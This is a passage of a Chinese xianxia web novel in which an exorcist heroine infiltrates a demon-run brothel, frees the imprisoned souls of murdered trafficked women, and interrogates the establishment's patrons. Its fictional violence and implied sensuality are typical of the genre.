姜长泠走到阶梯的扶手处,向上也向下探了探。
楼上要更安静些,而楼下...<
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一名年轻男子正巧抬头朝她看来。
两人短暂地对视了会,姜长泠便马上做贼心虚地缩回了身子。
原本还打算借着这套衣服到处走走探探情况,但没想到她完全适应不了这个身份。
对视还不够,楼梯顿时被踩得咚咚作响。
“美人。”
那男的竟还要上来找她。
姜长泠眼前一黑,连忙钻回了那间洗浴房,把那两个丫鬟头上贴着的镇妖符都揭了下来,揉皱塞进了衣袖之中。
两个丫鬟终于能动起来,纷纷抬头惘然地看向姜长泠。
“美人,是你在里面吗?”
那男子还跟了过来此刻正站在门外。
姜长泠不想说话,只能是默默用手抵住了门。
“雪花小姐,你是何时更衣的?”这丫鬟已经全然忘记自己为什么跪下这件事,只觉得自己刚才仿佛做了场梦。
“...方才你们俩像是睡着了一样雷打不动,为了早点见到楼主我只好自己来了。”姜长泠又开始睁眼说瞎话。
丫鬟挠挠头,自己确实好像是有这么一段记忆,但无论如何都想不起来了。
“美人,你在里面沐浴吗?可需要连某帮忙?”门外的男子甚至尝试推了下门。
姜长泠对两个丫鬟抛了个眼神:“你们去跟他解释。”
“呃,好。”离门近的那个丫鬟扶着墙壁站起身来,果断地拉开了木门,等看清楚了来人她马上解释道:“连公子,这位小姐是楼主亲自点名召见的,还请不要逾矩。”
连公子不死心地往后再瞧了瞧姜长泠,问道:“楼主他什么时候又喜欢女的了?”
“就是昨日的事。”丫鬟回道。
“啧...行吧啊。”连公子恋恋不舍地看着姜长泠,“她叫什么名字?见完楼主可否赏脸来陪我玩玩?”
另一个在里头的丫鬟也走上前来低头道:“她名为雪花,现居殷红楼,还没学会接客,望连公子去找其他小姐玩吧。”
“哈?真扫兴。”连公子连续被拒绝,颜面有些挂不住,用力甩袖后便默默转身下了楼。
姜长泠总感觉这场对话格外奇怪。
什么叫楼主什么时候又喜欢女的了?
难不成这楼主...“雌雄同体”?
正当她揣摩之时,两个丫鬟相继转过身来关上门。
“嗯?我不是已经换好衣裳了吗?”姜长泠问道。
“还需要梳妆打扮,雪花小姐。”丫鬟道。
姜长泠沉默,万万没想到还有这一步。
不知梳扮过了多久,姜长泠都快困出泪水时,两个丫鬟也终于停下了手里的动作:“雪花小姐,梳妆完了,可以去见楼主了。”
“嗯。”姜长泠这才抬眸认真地看向铜镜。
这铜镜里的自己,看得她都有些恍惚。
敢情这两个丫鬟是把自己打扮成了遗世独立的...妖妃?
墨发低垂的马尾被束在背后,被一根花簪子单独簪着,曝露出留有些碎发的鹅蛋脸庞,肩颈处更是一片白皙干净。
她忍不住拉了一下肩头的衣裳。
“小姐可还满意?”
姜长泠干笑道:“当然满意。”
58. 试探
两个丫鬟领着她走到一处大门前,停下步伐敲了下门。
“楼主,雪花小姐来了。”
里面并无回声,可两个丫鬟却径直推开了门。
姜长泠还没做好准备,抬头便看见一面透着光的赤色绣画屏风,隐隐约约间能看出面前似是摆着好几张短桌,有着不止一人的嫌疑。
且这外头本是光天白日的,可到了里面却是昏暗非凡,颇有旖旎之景。
这楼主的坏心思未必也太明显了。
姜长泠抬步走了进去,这屏风后已然有人声跃跃欲出,不过马上便被按了下去。
门后两个丫鬟已然识趣地关上门离去。
她装作淑女双手交叠在前,特意在原地踌躇了片刻才迈开步子。
实则她在此间隙不经意地放下了一张符纸。
姜长泠低着头走出屏风,那在座的人声都压不住了,纷纷发出感叹的声音。
“雪花,没想到你还真的敢来啊。”楼主的声音里是满是惊喜愉悦。
“楼主下的旨意,雪花怎敢不从?”姜长泠笑了下。
楼主又道:“你抬起头来让诸位看看。”
姜长泠应声抬头,目光大致地扫了一遍面前的布局。
两边的短桌横列,两边各坐着四五个中年男子,身边还都坐着穿得比她还要浮夸的风尘女子。
而楼主自然是坐在最中间的主位上。
“哇...这当真是倾城之姿。”
“确实...这美人的气质真算是罕见。”
夸赞声从四面八方传来。
姜长泠伫立原地,微微笑着没说话。
不过等她抬眸轻扫过一众打量她的目光中,突然看见了一张极为熟悉的脸。
巧的是,他并没有看她,只是低头默默斟了杯酒。
萧烬...萧烬怎么会出现在这里的?
更巧的是他旁边并无女伴。
楼主见她一副微微失神的模样,马上开了口:“雪花,可有何才艺献上?”
姜长泠立马回过头低眉躬身:“雪花初来乍到,还未来得及学艺,让诸位见笑了。”
“行吧,懂点事,入座吧。”楼主伸手向萧烬的方向请道。
这句话中的懂点事姜长泠倒是没想到明白,但还是识相地盘腿坐到了萧烬的旁边。
这会她离萧烬很近,是快挨着肩膀的距离,近得能让姜长泠从空中弥散着数个不同胭脂香味中闻到独属于萧烬身上的雪松味。
她顿时松懈下来,这才注意到楼主的脸。
身上穿得是男装不错,但脸上竟还画着妖冶昳丽的妆容。
整个人看上去十分违和。
像是半男半女。
“诸位舟车劳顿,远道而来,想必都有些累了,新建若水阁之事我们容后再议,先让碾花楼的琴音给诸位洗洗耳。”楼主笑着拍了拍手。
话音落下,两边垂下的帘子后面忽然走出几个佣人,将那挡着门口的屏风抬走,接着继续抬了一架古筝上来。
姜长泠已无心去看才艺,满脑子都是楼主所说的若水阁是什么意思,还有萧烬到底是怎么混进来的?
原本她的计划便是打算先跟楼主周旋见机行事,事后再去找机会想办法解开这压制数鬼的封印,如此一来整个连庆阁都会陷入混乱之中。
她再找准时机让楼主被夺舍上身。
反正后面的结果无论怎么发展也不至于威胁到淮庆城那么严重。
但现今看来,连庆阁还是没她想得如此简单,看楼主表态,在座的人大概是城中的部分权贵,身份还有待考究,万一兀自出手,影响的那又是整个淮庆城。
而这若水阁说不定就是下一个“连庆阁”。
想到这里她不禁眉头紧锁。
这背后真的只有楼主独自操持大局么?
琴音伴着娇笑声不绝于耳却丝毫没有影响姜长泠的沉思。
她的下一步仍是很迷茫。
突然间,她的手臂被轻轻碰了下,她猛地从神游中抽离出来,看向萧烬。
萧烬长着人畜无害的白净脸,精致的眼眸总是让人生出多情的错觉,他一只手抵在桌上,伸出修长的手指敲了敲桌子。
而桌上两个瓷白的酒杯瞩目。
这意思是要她陪酒?
姜长泠又透过看萧烬的方向瞥见楼主那高高在上的模样,正正好好在盯着她。
她马上会意笑了笑,拿起了桌上的酒杯对着萧烬道:“公子,我敬你一杯。”
萧烬也假意地牵起了嘴角,举杯与她对碰了下。
她不会饮酒,但为了这逢场作戏下也不得不灌下。
谁知,这酒水流淌在舌尖上时,并没有一丝酒醇的味道,只有淡淡的苦涩和不知名的香气,入了喉头后她才反应过来这只是茶水。
“这次你又打算怎么做?”萧烬问道。
姜长泠依旧举着酒杯,略微有些愣神地看向他,她没想到这么快就明牌了。
“你的意思是...你打算帮我?”
“不过是怕你出事,来帮你一下。”萧烬坐直了身子。
“我猜到了。”姜长泠忽而牵起唇角笑道。
萧烬看着她,只抛出一个疑问的眼神。
“我猜到你会来帮我了。”姜长泠将酒杯放回桌面,“萧烬。”
其实她从一开始决定要来这以身试险的时候便猜到萧烬会在他身后替她兜着底。
或许是在妖城那晚她听懂了萧烬的言外之意。
又或许是她与萧烬之间有着禁咒的原因,她与楼主打赌绣上金丝的时候都格外无畏。
这句话不免让萧烬再度怔了怔。
他哼道:“我不是每回都能帮你的。”
这时,姜长泠忽然觉得有一道视线若有若无地在她脸上游走。
她侧过头看向楼主,猛然发现楼主无时无刻不在观察她。
姜长泠再抬眸扫了周围一圈,发现这些在座的“权贵”都和身旁的女伴贴得极近,不是搂/腰便是搭肩,每个女子都有些香艳外露。
却唯独她和萧烬两人聊的像是商界洽谈一般。
她霎时背后寒毛直竖,总觉得马上要被楼主识破了。
所以在她收回视线对上萧烬的眼神时,她做了个极为胆大的决定。
她伸手捧过萧烬的脸庞,倾身向他的脸颊蹭去。
萧烬本能地想往后仰去,但姜长泠的手中却又加了些力度,他又好像明白了她的意思,索性配合着不动了。
待姜长泠挨着他的脸庞,温热的气息都撒在他的颈间时,他发觉浑身都僵住了。
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从楼主的角度看去,两个人似是亲密无比,像是在接吻一般。
“你是怎么混进来的?”姜长泠顺势伸手搭上他的肩,几乎将整个人都靠在了萧烬的身上。
但萧烬的手始终没有动静,有动静的是那颗怦怦跳动的心脏。
他不自觉地滚动了下喉结:“当然是假借东家的身份进来的。”
“东家?意思是这在座的人都是参与修建连庆阁的东家?”
“应当不错。”
两人身上的香味互相交缠着,姜长泠的发丝有意无意地蹭着他,弄得他痒痒的。
“那为何这楼主会召见我一个刚进来的陪你?”
萧烬偏了偏头,继续道:“这个我也不知,我只是混进来一探究竟的。”
藏在衣襟下那溢出来的雪松味浓烈地萦绕在她的鼻尖,姜长泠自然知道自己此时此刻离萧烬有多近,不过逢场作戏,她也顾不得那么多了。
尽管她整个耳朵都红得像熟透的苹果。
“我们还要这样僵持多久?”萧烬意外地不排斥这种接触,但也并不想就这么维持着变扭的姿势等所有才艺演完。
于是乎姜长泠特意揉晕了唇上抹过的唇脂,嘴唇上忽闪过一阵麻木,像是被电了下,不过痛觉转瞬即逝,她没管,继而转头看看周围的人都到什么地步了。
这不看不要紧,一看吓一跳。
竟然颠三倒四全都乱了起来!
这么看来,她和萧烬两人也只能算是“调情”阶段?
而楼主正坐在那主位之上,俯瞰这靡乱的场景只是淡淡饮了口酒,又将目光挪到了她身上。
姜长泠心里一凉,顿时知道了楼主召她来的意思。
这是想试探她有没有当花魁的潜质?
她当然不会再继续由着这种事情发生,立刻回过头对萧烬道:“不如...”
萧烬并没有瞥向周围,只是专注盯着姜长泠,想看她还能说出什么逾越的话。
“不如你先拖住这里?我去去就回。”
拖住的意思便是让萧烬先用意念把整个厢房里的人先操控住。
闻言,萧烬指了指帘子后的地方:“那有大氅,披了再去。”
姜长泠松开手站起身来,到帘子后的衣帽架上拿起一件大氅披上便往外奔去。
门外的两个丫鬟就这么站在原地默默看着姜长泠离去。
她径直奔下四楼,出了门便往殷红楼的方向跑去。
待跑回了熟悉的院子便又看到了冬至她们。
大家见到她这副模样装扮很是新奇,几十双眼睛都在朝她看来,打量着她的全身。
凤姐对此也感到新奇正想问她点什么,可她什么话都没说便直直向那后墙奔去。
“雪花!你要去哪!”
回应她的只有一个逆风的背影。
走到后墙处,姜长泠气喘吁吁地停下来,从袖中拿出了早已绘好的符纸,按照她昨夜想了一万遍的行径甩在墙上的屏障上。
蓝色的灵流顺着符纸游走,形成阵法模样,过了会便在墙上化成一扇门。
透过这扇门还能窥见这墙后的地方。
“雪花?你在作甚?!”
凤姐的声音远在身后,也恰好在这扇门出现之时,一丝金光汇聚着向上升空便消散而去。
59. 第 59 章
姜长泠并没有理会凤姐的喊声,独自踏入了这片暗地域。
那沉重的坠感又再遍布全身。
底下无数嘶哑的喊声更为的疯狂,如同阎罗低语围绕在她耳边。
这片地方终日被屏障笼罩,又阴气过盛,即便是在白天也难掩这地方的幽暗,血红色晦涩的符文画了满地,最终的落点归于了正中间。
四周虽很宽阔,但也只是在方圆之地的中间藏着一个类似于地窖口的门。
她盯着地面的符文左右看了好一会,才想起来这阵法在书上叫什么。
此乃压厄大阵,是专门对付上百年甚至上千年而不得入轮回的厉鬼所用。
她又看了一眼那地窖,莫非这里镇压着这样一位大人物?
这时,周遭飘来的几团黑雾左右夹击着她。
保险起见,姜长泠先是装作了看不见她们向地窖口走去。
“又一个找死的。”
“你说她还能活多久?”
围在姜长泠旁边的鬼魂越来越多。
“这姑娘长得还不懒,可惜了被抓到了这里。”
“你这说的什么屁话,要不是长得可以也不会来到这里。”
“她这身上披着的大氅看着价值不菲啊,难说还是个混到碾花楼的人物啊?”
“嚯,况且她还有法力,看上去并非是个凡人。”
这句话彻底勾起了众鬼的期待。
抵达于阵眼处,姜长泠忽然发觉身旁的鬼都默默不作声了。
她蹲下身来细细地研究了下这阵法。
“你们说她到底在干嘛?”
“莫不是害怕开窖门了?”
“姑娘趁现在快些跑吧,晚了你就要死在这里了。”
姜长泠摸了摸窖门的把手,用力往上提了提,发现这地窖的门倒是可以随意打开,法阵也不会因此被破坏。
“小姑娘躲进去也行啊。”
“我想问问各位前辈是怎么出来的?”姜长泠蓦然开了口。
“它在跟谁说话?”
“不知道啊。”
姜长泠忍着被阴气侵压的不适感点了点地上的符文抬头道:“这个封印乃为压制厉鬼所用,晚辈想问问各位前辈是如何从底下逃出来的?又是因何而死?”
就这短短一会,姜长泠便很肯定这底下的煞气涌动,定是死了数人堆积才会有的现象。
结合之前张福的记忆,她心里已经逐渐对连庆阁有个大概的认知了。
只不过还有疑惑得问这里的“地缚灵”才行。
“你...你能看见我们?”
现况紧急,姜长泠拿出符纸静下心来回想破解大阵的符阵一边回道:“嗯,我能看见各位前辈。”
“我要疯掉了!居然有人能看见我们!”
“你...你是怎么看见我们的?!从来就没有人能看见过我们!”
这群鬼已经疯了魔,完全忘记了姜长泠问的问题。
而就在姜长泠聚精会神绘着符咒时,在身后的远处,墙体上瞬时开了五六个洞,明明距离不近,但那扑面而来的寒气却让她莫名打了个冷颤。
“姑娘!他们来抓你了!快跑啊!”
“他们来了啊啊啊啊啊啊!”
姜长泠直接跪坐在地上,撑在地上画着符。
她摒除其余杂念,顶着聒噪声和被逮的压力已经画好两张,她微微一抬眸扫了这处地方。
太宽阔了,没个十张符纸是解不开的。
正当她手指挥得龙飞凤舞之时,身旁的鬼又尖叫了起来:“姑娘!不,还是该叫你道长好呢?!”
“你怎么还有帮手!”
“太精彩了,这简直就是百年之未有的变局!”
帮手?
姜长泠听到这句话还是不可避免地被吸引住,向身后瞥去。
只见数不清的黑衣守卫从那墙体的“门”冲出,而一名男子身姿挺拔地站在他们之间的中轴上,背对着她,迎面对着数个黑衣人。
高马尾张扬地束起,手里正握着剑鞘。
单一个背影就让人感到威压肃杀,有种一人抵万军的错觉。
她没想到符月炳也来帮她了。
符月炳什么都没说,默默将刀鞘的扔到一旁去,挥舞着手中利剑便迎战去了。
姜长泠又赶忙回过神来绘符。
“这帮手也忒能打了!”
“不对,难道...他们是来解救我们出去的吗?”
姜长泠心说你们才反应过来?
符纸被一张一张绘好,姜长泠的心也逐渐焦灼起来,祈求着符月炳能多撑一会。
五张、七张、九张,终于画到了最后一张。
姜长泠的手都冷到结冰,总算是拿起符纸从地上站了起来,才抽空看向战局。
符月炳倒是很能打,以一敌十也还是稳占着上风。
地上已然躺着好几具尸体。
照这个局势下去,符月炳说不定能将这群涌上来的黑衣人全部歼灭。
姜长泠伫立原地抓着符纸,原本她来此处便是想了解这些亡魂的死因,再把这些封印在底下的亡魂都解封以此来保全自己的安危。
目前看来,她貌似还不用做到那么极端。
“几位前辈还没回答晚辈的问题。”姜长泠忽然转向众鬼拱手。
几个前辈愣了愣也终于恢复了神志接受了这个未有之变局。
“我们自然也都是被拐的,你应该很清楚才对。”
“至于我们为什么没有被封印在底下,那都是因为幸运。”
姜长泠听得云里雾里的,与其描述,不如亲身体验一遍,于是乎她向黑雾伸出了手:“不知可否了解各位前辈生前的冤屈?”
“嚯,这是传闻中听说的通灵?”黑雾们停在空中彻底不动了,也不知是中了哪门子的邪。
姜长泠犹豫道:“是。”
听到通灵一词,思绪似乎将她扯回到很远。
这还是她在小时候就被发掘的能力。
那会她爹娘还在,是她为数不多能上县城的一次机会。
在满是黑与白交织,锣鼓齐响,唢呐不停的葬礼上,姜长泠亲眼看见一团白雾飘于灵堂之上,可大家伙都忙着下跪低着头哭泣根本没有人在意那团白雾。
她太好奇了,不免指着那团白雾问道:“娘亲,那团白雾是什么?”
这场葬礼是她娘亲的远亲喊过来撑场子的。
哭声太大,倒是没人听到她问的话。
她娘亲闻言连忙转过头来瞪了她一眼:“切莫胡说八道。”
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于是她只好默不作声的地盯着那团白雾。
而那白雾也似乎是知道了姜长泠能看见他,从空中缓缓向她飘来。
姜长泠见的鬼多了,这样的白雾早已让她不足为惧。
那白雾靠近她,似是仔细端详了她一遍:“小姑娘,你能看见我?”
姜长泠眨着天真的漆黑瞳仁就这么注视着他。
无需多言,这个眼神已经说明了答案。
“没想到你小小年纪,竟已经有了通灵的本事。”白雾的声音很苍老和蔼,应当就是这个葬礼上被祭奠之人。
“恰好我还有一件事情没有交代犬子,能否交由你代为通传啊?”白雾笑道。
姜长泠很少跟鬼打交道,加上爹娘不许,她坚定地摇了摇头。
白雾也不着急,慢悠悠地跟她解释了起来:“我生前走得太急,尚且还有一副珍藏的字画收于房中,如若七天内找不出来,那字画便永远不会被找到了。”
“如今家道中落,若是能有那字画留传,还能留有一条退路。”说着说着,白雾忽然觉得自己对着一个小孩好像解释得太多了,笑了笑换了个称谓,“就当是爷爷求你帮帮爷爷好不好?”
姜长泠不敢说话,看着白雾点头又不是摇头又不是。
“你应当不知能通灵之人能窥见亡魂的生前记忆吧,你伸手出来。”白雾哄道。
灵堂前哭晕一片,不少佣人上前扶着。
乍一看,这葬礼都办的风风光光热热闹闹的,倒是跟这老爷子说的家道中落靠不上关系。
不过尽管如此,姜长泠还是经过短暂的思考后伸出了手。
后来,她便知道了原来她还有这么个能力。
那老爷子还跟她说,人死后还要走很长一段路过地府,通灵的事情也都是地府的那些衙差告诉他们的。
目的是能孤魂野鬼少些,也好让鬼有个念想,能自己化解执念。
冷冽的风刮过她脸颊,面前的黑雾便向她的手飘来。
一瞬间,记忆光速从连庆阁的种种画面流转,最后定格在楼主那张雌雄难辨别的脸上。
画面是为仰视。
“楼主...为何要杀...小荷...小荷不明白...”
这是身体的主人濒临死亡之际说出的话。
楼主用满是鲜血的手撩了撩头发,笑得邪魅:“没什么,只是...这张脸,看腻了,想换。”
她还没断气,怨念还在不断积攒着。
就在她被杀之前,她还和眼前这个看她像狗的人亲得如胶似漆。
“来人,处理掉她。”楼主冷漠地从她身上离开,连眼神都不曾施舍她一眼。
小荷心如死灰地盯着某处地方不再动弹了。
也不知是没了力气还是对楼主置气。
接着脚步声渐近,她被装进了麻袋之中。
再掀开时,便是两个黑衣人蹲于她身前。
“你新来的,我先告诉你要怎么弄的。”黑衣人说,“首先要把她弄瞎,什么方法都可以,我们一般都会直接在眼眶中捣碎,然后需弄聋弄哑,不过到弄哑这一步实在是太过繁琐,也可以不做,处理完后,记得把用符把她的魂魄转移到这个坛子里,最后记得盖好放进地窖,尸体拿去外面焚了就行,明白了吗?”
60. 超度
“明白了。”新来的点点头。
“嗯,切记定是要活着的时候动手,等死了就晚了。”另一人拍了拍新来的肩膀便起身准备离开,“搞快点啊,一会还要上街。”
“知道了。”
这会就剩下小荷和那新来的面面相觑。
小荷已经没了力气说话,只吊着一口气盯着面前之人。
新来的毅然决然地从腰间抽出一把匕首,当即就将那刀尖悬在了小荷的眼睛之上。
锋利的刀身闪过的寒光甚是刺眼。
那刀尖一寸寸下移,姜长泠的心情都变得愈来愈沉重。
可就在那刀尖就快要触到眼球时,那人又僵持着不动了,持着匕首的手都在颤抖:“...不行啊...我做不到。”
话音落下,那人手中的匕首果断被丢到一旁,竟是蹲在原地盯着小荷自言自语起来:“我知道你是苦命之人,我也是。”
“不如我给你痛快上路,你也别变成鬼来缠着我好不好?”
过了会,他又道:“你不说话,我就当你答应了啊。”
小荷眼睛半睁半阖,并不是想答应他,不过是撑不了多久了。
于是那人又捡回那把匕首,果断地用力向她的心脏一刺,终于卸下了全身的力气趴在了小荷的旁边。
“对不起。”
记忆到这里戛然而止,姜长泠眼前的场景瞬间变了回来,一只手还停滞在空中没收回来。
这段记忆带她的冲击太大,内心那同情的酸涩劲还没能完全缓过来。
“反正,我就是这么死的,他没有按照处理其他人的方法处理我,所以我们都没被困在地下。”
姜长泠难以置信地看向那地窖的门。
那地下究竟藏着多少被残害了眼睛和耳朵的姑娘?
连庆阁做拐卖逼良为娼的生意就算了,居然连杀人的手段也如此残忍。
不仅是将魂魄藏于坛子中封起来,使其不得轮回超生,还要弄瞎双眼戳聋双耳防止有漏网之鱼寻仇?
这做法可要比潘秉坤狠多了。
姜长泠再看向另一边的战况。
符月炳已经将那群上门来拦截的黑衣人杀了个片甲不留,正用灵力将剑上的污血洗涤干净将长剑收入了剑鞘之中。
“那你们可曾见过有其他鬼魂离开过这处地方?”姜长泠回过头来问道。
“从未见过。”
那张福是从何处逃出来的?
困住张福的地方要么是跟连庆阁做同样事情的另外一处窝点,要么就是连庆阁的分支,像是她刚才参加的酒席上那楼主所说的“若水阁”的地方。
但前者的可能性不大,最有可能的还是后者。
姜长泠紧抓着刚才绘好的符纸,低头思忖了一会。
被害的人这么多,能救一点是一点吧。
符月炳抱着剑鞘,就这么站在原地盯着她。
“所以你来到这里是要把我们都解救出去对吧?”黑雾的语气甚是激动。
姜长泠没回黑雾,把方才绘好的符纸塞进衣袖,向符月炳看去问道:“可否借符兄的剑一用?”
符月炳怔了怔,还是将手里的剑向姜长泠扔了过去。
“谢了。”姜长泠接过沉甸甸的剑,向那地窖口走去,她咬着牙掀开了地窖的门,拿着剑走了下去。
底下是无边的黑暗和无数的冤魂在低吟或嘶吼,她燃起一张符照明。
仅仅是照亮了小片的地方,那贴着符纸白森森的坛子便整齐地排列在架子之上,往后深不见底。
“咦,好像有人来了啊。”
“哈哈哈哈哈,难道又有人来了吗!”
这里的冤魂一半会说话一半不会,但大多数都已经失明失聪。
想到这里,姜长泠便提起剑身向这排列整齐的坛子劈去。
坛子破碎的声音不断响起,姜长泠就这样将地窖之中的坛子都劈了个稀碎。
有的冤魂还没反应困住自己的坛子已经被打碎了还呆在原地,而有的冤魂则是像水里欢愉摆尾的鱼儿四处狂飘。
“我出来了吗!?”
“我终于出来啦哈哈哈!”
姜长泠见这乱况,心里也不知是何滋味,默默收起了剑往回走去,刚走出地窖,那几团黑雾便着急地围了过来。
“姑娘,你这是...要将地底下的也给放出来?”
“天啊!底下的厉鬼可不知要比我们癫上多少倍,你想清楚了吗你就放出来!”
“不过她们看不见也听不见,好像于我们而言也没什么威胁吧。”
姜长泠闻言没说话,把手里的剑丢回给了符月炳:“多谢。”
话毕,她将袖中的符纸抽出向空中撒去,十张黄符便汲着湛蓝的灵流顺着风归置于在压厄大阵上的不同地方。
待符纸落了地,灵流便逐渐将十张符纸连接在一起形成法阵。
法阵一成,阴风霎时肆起伴随着冤魂的悲鸣嚎叫。
她默默捏了一诀,最后在双指上抹出血痕,怀着万般决心向地面摁去。
风尘配合着漾开,这一指似是有千钧般重,地面都为之一震!
就在刹那间,数条灵流犹如蓬勃生长的花朵从她指尖迸发绽开,掀起巨大的威压冲上屏障后才消散开来!
整个法阵的灵流正汹涌地融合互汇中,不断在溶解消散那原本的压厄大阵。
“天啊,你把她们放出来于你而言到底有什么好处?”
姜长泠依旧一声没吭,眼看着那法阵快要黯淡下来,她又继续撑在地上开始画起往生符来。
“姑娘,你说句话呀,你是不是也疯魔了?”
她所带的符纸不多了,只剩下两张了,不过萧烬传给她的灵力还尚存于她体内。
不用符也应该够了。
周遭蓦然黑压压一片,气氛也变得肃然。
须臾之间,底下的冤魂猛然从地面奔涌而出,瞬间将这里围成了墨色的魂海!
无尽的嘶吼哭喊声遍布,凛冽的寒风席卷而来!
若是心神不定,体质要弱些的凡人站在此处都指不定被哪只鬼窜上身了。
绕是符月炳看见这些冤魂都有些惊讶。
姜长泠眯了眯眼,正在暴风之中抓着两张闪着纯白光的往生符。
只见她将两张符甩入空中,光芒瞬时被魂海卷走吞没。
她于凌风中双掌合十,心里正默念着口诀。
不过一会,纯净盛势的两张往
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生符便于黑暗中慢慢迸发出白色光芒!
到了这步,符月炳才看懂她在做什么。
她这是要凭一己之力超度这些冤魂。
这种事情也就是那些寺庙高僧会做,毕竟超度冤魂也是有代价,会损阳折寿…
雪白的灵力在姜长泠周身萦绕,她眸中略过一抹蓝光,低头道:“化澈怨魂,度有来生。”
话音落下,周身的灵力也随之向外扩散。
像是暴雪搅进了沙尘之中,整个场面一时混乱不堪。
两张往生符悬在空中不断旋转着,散发着光亮层层穿透黑暗。
漫天的怨魂忽然也不莽撞了,慢慢恢复了理智停了下来。
停下来时,天光大亮,似是晴天。
这一刻,所有怨魂都有了模样,视线纷纷被那两张往生符吸引而去。
“娘亲,我回来吃饭了。”
“相公不必等我了,我去去就回。”
“小弟还咳不咳嗽,要不我再上街买点药去?”
“爹,临走前抱一个。”
数个怨魂都被唤起生前还温良时的记忆,接二连三地看着眼前的幻想向往生符飘去。
姜长泠凝聚着灵力,撑到最后一个怨魂飘散她才松懈下来。
要说此行超度倒是不太费力,就是太费神。
超度完这片怨魂后,姜长泠头脑都晕晕的,或许是被阴气包裹太久了。
她踉跄地向前走两步又停下缓缓。
刚才那会,符月炳也顺势将这片地域的屏障破了,太阳当头,日光正盛。
“你没事吧?”符月炳走到她身旁。
“没事,小问题。”姜长泠晃晃头,勉强打起了精神。
“姜捉妖师是要回去么?”符月炳问道。
姜长泠点点头。
下一步,她自然要先将那酒席上的全盘抓住好好审问一番。
只不过从她超度完这批怨魂后,状态似是变得奇差无比,也不知是怎么了。
“我带你回吧。”
还不等姜长泠道谢,符月炳一把揪着了姜长泠的大氅便瞬移到碾花楼四层的酒席门前。
那两个丫鬟还站在门口看着她。
“多谢符兄。”姜长泠一拱手后,先是回到了洗浴房换回了原先的衣裳再去了酒席的厢房。
厢房之中无一人能动,全都维持着姜长泠刚离去的姿势。
只不过那几个本衣不蔽体的女子都穿上了衣裳端正地坐了起来,楼主也从主位被挪到了下面的席位之中。
“怎么样,都打听清楚了?”萧烬看着她问道。
姜长泠忍着身体的不适道:“大概了解了,但不知这背后的主谋是不是这连庆阁的楼主。”
“还有,像连庆阁这样的地方应当不止一处。”
这两句话一出,在座的权贵们表情都似乎变得凝重起来。
不过由于萧烬没让他们开口,他们连嘴唇都动不了。
姜长泠也不知为何莫名有一阵热意爬上两颊,浑身燥热不堪。
更奇怪的是,这种感觉在看见萧烬后更为强烈。
萧烬看出了她的不适,可自身并未感受到任何疼痛,不禁问道:“你哪里受伤了?”
61. 套话
“并没有。”姜长泠避开了萧烬的视线,不自然地用手背抚了抚脸颊。
的确烫得离奇。
不过她没太在意,再将目光移到了在座的权贵上。
她对淮庆城一无所知,所以对着这些个脸庞也说不出个所以然来,只好道:“为杜绝后患,把这些人都杀了吧,反正这些人嘴里也吐不出几句真话来。”
言罢,姜长泠还真的从桌上随便取了个酒杯敲碎了来,握着锋利的瓷片便向着离她最近的一名男人走去。
众人的眼神忧心忡忡,唯独即将被她刺杀的男人充满着惶恐。
“你要什么,你到底要什么!”男人忽然呐喊出声,连自己都吓了一跳,双脚还在不断往后划动着,但无论如何划动也依旧只能停留在原地。
“你姓甚名谁,是做什么的?”姜长泠蹲下身举着利如刀刃的瓷片向那男人的脖颈处移去。
男人哆嗦着报上家门:“我名为刘文烈,我...我是...做珠宝生意的。”
“不信的话你大可以去淮庆城内打听打听,我家财万贯,放过我,我绝对能保你荣华富贵一生。”说着说着,刘文烈似乎是抓住了救命稻草般滔滔不绝地说个不停,“真的,如若我有半句假话,天打五雷轰...”
姜长泠愣了愣,想起来曾经也有一位已故的富商也跟她说过同样的话。
但青竹城于淮庆城相比,那还真是太小了,只需一个野心勃勃的富商与捉妖三处的督办达成一致的协议便能形成无人知晓的完美贪污闭环。
可如若是淮庆城中亦发生诸如此类的事也不应该过这么久都没被发现。
这其中定是有人身份十分特别才敢特意在宵禁时期滥抓人和妖。
况且宵禁来的时机实在是来的太好了。
一来,在宵禁时辰抓到的人或妖就算是被报上官府或是妖都也是无用之举,只能自认倒霉。
二来,只要找一批身手了得的捉妖师或是武功不错的壮士归入麾下做事,便能在宵禁时段来去自如,为所欲为。
只是这主谋的胆子并不是一般的大,绝非是一人或是一个身份不明的人能做出来的。
既然这在座的都是些在淮庆城中有头有脸的大人物,那主谋也想必是盘居于淮庆城许久,十分熟悉淮庆城中的各项律法及其规矩。
想到这里,姜长泠脑袋愈发的昏沉,不免抬手揉了揉太阳穴。
刘文烈见她状态不佳的模样,还以为有了可乘之机,可他忘了最开始时是面前那个丰神俊朗的陌生男子在守着他们。
虽然他中途消失了一会,但他们身上的禁锢也还是存在。
他咬牙暗暗叹了口气。
“还想拷问谁?”萧烬漫不经心地问道。
姜长泠看向被拉下偏席的楼主,站起身缓缓向他走去。
“连庆阁楼主。”
她走到楼主面前,蹲下了身与他视线齐平。
令人意外的是,楼主的求生欲望并不是很强烈,尽管是处于劣势的处境也还是一副小人的值的狡猾样。
“没想到你对同族没有一丝一毫的怜悯之心。”姜长泠道。
其实她从一早开始便怀疑这楼主是只妖,只不过那天他身上的胭脂水粉味道太熏,直叫人混淆难辨,但现今他半男半女,那隐隐藏着的妖息便逐渐暴露了出来。
楼主哼嗤一声并没有开口说话。
姜长泠再将那碎掉的瓷片横在了楼主的颈前:“看来你并不怕死,还有人要比你坐得要高?”
楼主依旧一副吊儿郎当的模样奸诈笑着没说话。
有时候不说话确实可以避开许多问题,但姜长泠也并非是装腔作势之人。
她当即便将那片瓷片直直扎进了楼主的大腿上。
动作之迅速,让楼主都猝不及防地痛叫一声。
“你到底还设立了多少个连庆阁?”姜长泠使着劲,一不留神也将自己的手也划破了,不过这样却能让她更加清醒点。
“呵,一介蝼蚁也配与我谈判?”楼主的神情有些扭曲,貌似还没意识到事情的严重性。
“你...”姜长泠只说了一个字,那楼主便突然向旁边倒去,太阳穴上的青筋暴起,翻着白眼浑身抽搐着。
难道又是被金丝控制灭口的么?
正当姜长泠手足无措之时,楼主蓦然又从嘴里吐了好大一滩血出来,继而大口大口地呼吸着。
见状,姜长泠回头看了一眼萧烬。
萧烬此时已经站了起身倚在墙边,双手抱臂,面色似是有些沉郁。
姜长泠又扭过头来默默垂眸瞧了一眼自己受伤的手掌。
莫非这是萧烬做的?
她继而看向楼主道:“看来你要被幕后之人灭口了。”
“不可能...”楼主半死不活在血泊中,半息后才意识到自己说错了话。
趁此间,姜长泠又再瞥了瞥在座的权贵。
脸色都是清一色的恐惧加困惑。
看来这些权贵也并不知道存在着这么一号人物。
